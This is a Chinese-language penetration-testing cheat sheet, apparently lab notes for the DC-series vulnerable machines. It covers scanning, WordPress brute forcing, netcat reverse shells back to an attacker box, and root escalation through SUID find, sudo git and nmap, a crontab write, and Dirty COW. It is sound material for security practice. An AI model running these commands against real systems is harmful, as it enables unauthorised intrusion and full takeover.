metasploit nmap sqlmap 中国蚁剑 冰蝎 dirsearch dirbuster 等常用工具就不在此介绍了
nmap 192.168.26.0/24
nmap -sS -sV -T4 -A -p- 192.168.26.129
whatweb http://dc-2 #常用于信息搜集,获取cms和服务器版本等信息
john password.txt #文件里是hash加密后的密码
cewl -w dc_passwords.txt http://dc-2 #按照一定规则,对网站爬取生成密码字典并写入到dc_passwords.txt中
针对wordpress站点可以使用wpscan先爆破该网站的用户名
wpscan --ignore-main-redirect --url 192.168.26.130 --enumerate u --force
通过已经wpscan扫描到的用户名和cewl生成的密码字典可以对目标进行爆破登录
wpscan --ignore-main-redirect --url 192.168.26.130 -U dc-_user.txt -P dc_passwords.txt --force
searchsploit joomla 3.7.0 #搜索joomla 3.7.0的漏洞
msfconsole #利用msf搜索相关组件漏洞
search joomla 3.7.0
python -c 'import pty;pty.spawn("/bin/bash")' #使用python获取交互式shell,实际上也就是模拟了一个虚拟终端
nc -lvnp 666 #kali先监听666端口
nc 192.168.26.132 666 -e /bin/bash #在靶机上执行该命令,ip为kali的IP
开启:/etc/init.d/ssh start
重启:/etc/init.d/ssh restart
关闭:/etc/init.d/ssh stop
状态:/etc/init.d/ssh status
ssh [email protected] # @符前为用户名 后面为要登录的服务器IP
目标机器连接kali利用ssh将 exp下载到靶机上来
scp [email protected]:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/ #靶机上执行 用户名和IP是kali的
scp /path/local_filename [email protected]:/path #kali上执行 用户名和IP是靶机的
**Tips:**拿到一个本地普通用户后,往往先要在该用户的家目录下搜索一番,以寻找有用的信息,提权的时候几乎所有的文件操作都在tmp目录下,因为其他目录往往没有权限,所以要时刻注意自己当前所在的目录。
find / -user root -perm -4000 -print 2>/dev/null #发现具有suid权限的命令
touch test
find test -exec whoami \;
find te -exec netcat -lvp 5556 -e /bin/sh \; //在被攻击服务器上执行该命令 监听本地5555端口,用于入站连接
netcat xx.xx.xx.xx 5556 // 自己服务器上 使用nc 输入对方ip和端口,去连接,从而获得一个root权限的shell
sudo -l #查看可以无密码使用root权限的命令
输入以下命令即可提权成功
sudo git help config
h
!/bin/bash
teehee命令可以对文件进行写入操作,我们可以借此来提权
利用写入定时任务来提权
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab # 参数 -a,对指定文件进行追加,不覆盖
上面这条命令的意思是在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限),这样当我们再执行/bin/bash的时候就可以获得一个root权限的shell。除此之外还可以利用写入/etc/passwd文件添加一个有root权限的用户来提权。
我们使用 sudo -l
命令发现我们可以不用密码就能以root权限运行nmap
然后我们可以利用nmap来提权
echo 'os.execute("/bin/bash")' > shell #写一个脚本,调用系统命令执行/bin/bash
sudo nmap --script=shell
由于我们可以以root权限 运行nmap,然后我们让nmap去执行这个shell脚本,从而获取到一个root权限的shell。
upload /root/dcow.cpp 192.168.26.128 /tmp #上传exp到靶机的 /tmp目录下
shell
python -c 'import pty;pty.spawn("/bin/bash")' #优化终端界面,便于操作
cd /tmp
chmod +x dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
##########################################
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
##########################################
./dcow #执行
### 第三方特定版本插件提权
screen4.5.0、exim 4等
### 定时任务提权:
如果定时任务是以root权限运行的,并且低权限用户可以修改定时任务的脚本,那么可以尝试追加或者改写定时任务的脚本来提权,例如在脚本后面追加一行反弹shell的命令来获取到root权限。
## 其他知识点:
### 逃逸出rbash的一些方法